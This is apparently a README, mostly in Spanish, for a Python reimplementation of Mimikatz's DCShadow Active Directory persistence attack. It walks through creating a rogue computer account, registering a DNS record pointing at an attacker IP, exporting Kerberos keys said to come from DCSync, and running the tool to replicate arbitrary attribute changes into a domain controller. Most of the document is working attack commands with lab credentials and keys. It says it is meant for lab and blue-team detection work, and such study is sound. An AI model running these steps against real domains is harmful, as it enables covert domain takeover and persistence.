
Python alternative to Mimikatz lsadump::dcshadow
[!WARNING] NO LO EJECUTES EN PRODUCCIÓN. Está pensado para pruebas de laboratorio, para que los equipos azules trabajen en la identificación de IoCs, tipos de eventos y comportamiento. Además, esta herramienta se proporciona tal cual. No se planea soporte aparte de la revisión estándar de los pull requests que puedas crear. No lo ejecutes desde un host Windows. Hazlo desde Linux o desde una VM (para evitar conflictos de servicios RPC).
Este proyecto pretende ser una alternativa en Python puro a la técnica dcshadow de Mimikatz. Esto incluye un Impacket personalizado con crypto, gssapi y drsuapi modificados, entre otras cosas.
DCShadow es una poderosa técnica de persistencia que podría considerarse como un transporte para otras técnicas como SID history, KRBTGT RBCD, abuso de ACE, y más.
Esta herramienta podría ser una base para un framework de persistencia de AD más versátil, que pudiera ser utilizado por nuestra comunidad para elevar nuestra madurez global en el tema.
Esta herramienta fue probada en GOAD.
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket
Esta máquina se registrará como controlador de dominio durante la duración de la replicación y se dará de baja al final.
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug
[!WARNING] adcomputer.py está modificado para establecer
msDS-SupportedEncryptionTypesen0x1f. Las últimas pruebas parecen generar una violación de restricción.[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket Traceback (most recent call last): File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps raise Exception(str(ldapConn.result)) Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'} [-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}
Por ahora, usa el script addcomputer.py normal de Impacket y modifica msDS-SupportedEncryptionTypes manualmente mediante la edición de ADSI.
Esto es necesario para que el DC legítimo sepa cómo alcanzar al DC rogue y evitar errores ERROR_DS_DNS_LOOKUP_FAILURE.
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"
[!TIP] Si el comando no funciona por alguna razón, añade la entrada DNS manualmente mediante las herramientas DNS del controlador de dominio.
Cuando empezamos a desarrollar esta herramienta, usábamos credenciales hardcodeadas en un archivo .env, cargadas en la función gss_kerberos_ap_req del archivo dcshadow/utils/server/RpcServer.py.
Esto claramente necesita una mejora. La contraseña de la cuenta del DC rogue podría pasarse como argumento de CLI y calcularse las claves Kerberos. Krbrelayx ya hace eso, también dacledit.py; solo necesita copiar y pegar.
Por ahora tienes que exportar las claves Kerberos como variables de entorno.
Debería verse así:
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc
Esas claves se pueden obtener mediante un ataque DCSync.
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"
[!TIP] En este caso, se utiliza un archivo
repl.jsonpara especificar los objetos y atributos objetivo. Alternativamente, la herramienta admite opciones en línea (por ejemplo,--object,--attributey--value).
Si DRSReplicaAdd agota el tiempo de espera, probablemente sea un problema de red/firewall en la máquina que ejecuta dcshadow.py (el DC rogue), que probablemente no permita el tráfico entrante en 135/TCP (epmapper) y 1337/TCP (o un puerto dinámico si se implementa en el futuro, para drsuapi).
Necesitarías ejecutar Wireshark en el controlador de dominio legítimo, pero la causa raíz más probable es que estés intentando ejecutar esto en una máquina Windows. Esto significa que cuando el DC legítimo pregunta al epmapper de tu DC rogue por el puerto del endpoint drsuapi, la respuesta está vacía, porque es el epmapper de tu propia máquina Windows el que responde y no el nuestro personalizado.
Este proyecto no habría sido posible sin la inmensa ayuda de Alessandro Iandoli "MrAle98", un talentoso investigador conocido durante el desarrollo. ¡Gracias, Alessandro!
Los créditos son para Benjamin Delpy y Vincent Letoux por el descubrimiento inicial, las charlas y la implementación en Mimikatz.
También me gustaría agradecer a Volker, que participó en el desarrollo inicial.
Gracias a Dramelac por la ayuda para pasar de PoC a un proyecto modular, una base para un futuro framework, si alguna vez llega a eso.